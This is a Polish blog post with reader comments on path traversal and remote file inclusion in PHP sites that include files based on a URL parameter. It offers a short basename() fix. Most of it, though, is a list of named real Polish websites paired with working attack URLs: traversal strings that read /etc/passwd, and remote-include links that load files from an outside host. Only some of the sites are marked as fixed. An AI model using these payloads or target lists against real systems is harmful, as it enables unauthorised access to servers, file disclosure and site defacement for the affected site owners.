Ponad tydzień temu postanowiłem sprawdzić odporność polskich stron na atak typu „path traversal” (jest to atak polegający na dostaniu się do pliku lub katalogu na serwerze normalnie niedostępnego) oraz na atak związany z dołączaniem(includowaniem) plików ze stron zewnętrznych. O dziwo jeszcze dziś, kiedy tak wiele mówi się o zabezpieczeniach serwerowych oraz środowiska aplikacji(np. skryptów php), zdarzają się witryny, które wręcz krzyczą „zhakuj mnie”. Agresor, dzięki błędom wykorzystującym polecenie include(ew. require) ma możliwość inegerencji w strukturę plików serwera, co w rezultacie może doprowadzić do pobrania pliku /etc/passwd lub podmianę strony głównej witryny. Z praktycznego punktu widzenia programowania skryptów php wystarczy kilka linijek aby zabezpieczyć się przed tego typu błędami.
$file = $_GET['file'];
$file = basename($_GET['file']);
include('includes/'.$file.'.php');
Po znalezieniu stron podatnych na atak path traversal wysłałem do adminów maila z powiadomieniem o istnieniu takich błędów. Jak to zwykle bywa niektórzy zareagowali natychmiast, inni zaś pewnie „olali” sprawę, mając ponad tydzień czasu na poprawę bezpieczeństwa.
Poniżej zamieszczam spis stron jakie znalazłem na szybko w sieci. Niektóre z nich zostały poprawione.
http://www.nurkowanie.ustka.pl/index.php?file=
../../../../etc/passwd
http://www.fitness-klub.com.pl/instruktorzy/index.php?file=
aerobikagnieszka.php (url zew)
http://www.fitness-klub.com.pl/instruktorzy/index.php?file=
http://files.gruszka.info/blog/scripts/path_traversal/plik.txt
http://www.kruklanki.turystyczny.pl/index.php?file=
http://onet.pl (url zew)
http://www.kruklanki.turystyczny.pl/index.php?file=
http://files.gruszka.info/blog/scripts/path_traversal/plik.txt
http://www.cez.org.pl/pliki/index.php?file=
../../../../etc/passwd
(poprawione) http://www.zss.tarnow.pl/publikacje/index.php?plik=
../../../../etc/passwd (url zew)
(poprawione) http://www.zss.tarnow.pl/publikacje/index.php?plik=
http://files.gruszka.info/blog/scripts/path_traversal/plik.txt
(poprawione) http://www.wios.bydgoszcz.pl/index.php?plik_php=
../../../etc/passwd
http://www.wios.bydgoszcz.pl/index.php?plik_php=
http://files.gruszka.info/blog/scripts/path_traversal/plik.txt
Budowanie w ten sposob stron w PHP zakrawa tym bardziej o kpiny. W sumie, przykladajac sie forum.php.pl widac, ze szczegolnie poczatkujacy uzywaja includow w zaleznosci od $_GET.
nie da się ukryć, że świadczy to albo o nieumiejętności pisania w php, albo o uzywaniu gotowych rozwiązań.
z drugiej strony, skąd wiesz, że nie dostajesz się do pliku uwięzionego w jailu?
Heh 🙂 Porażka 😛 Dalej nie naprawili tego 🙂
@stormfly: obudzą się gdy ktoś włamie się im do systemu, lub podmieni stronę 😉 ciekawe kiedy zmieni się mentalność i myślenie niektórych administratorów?? 😛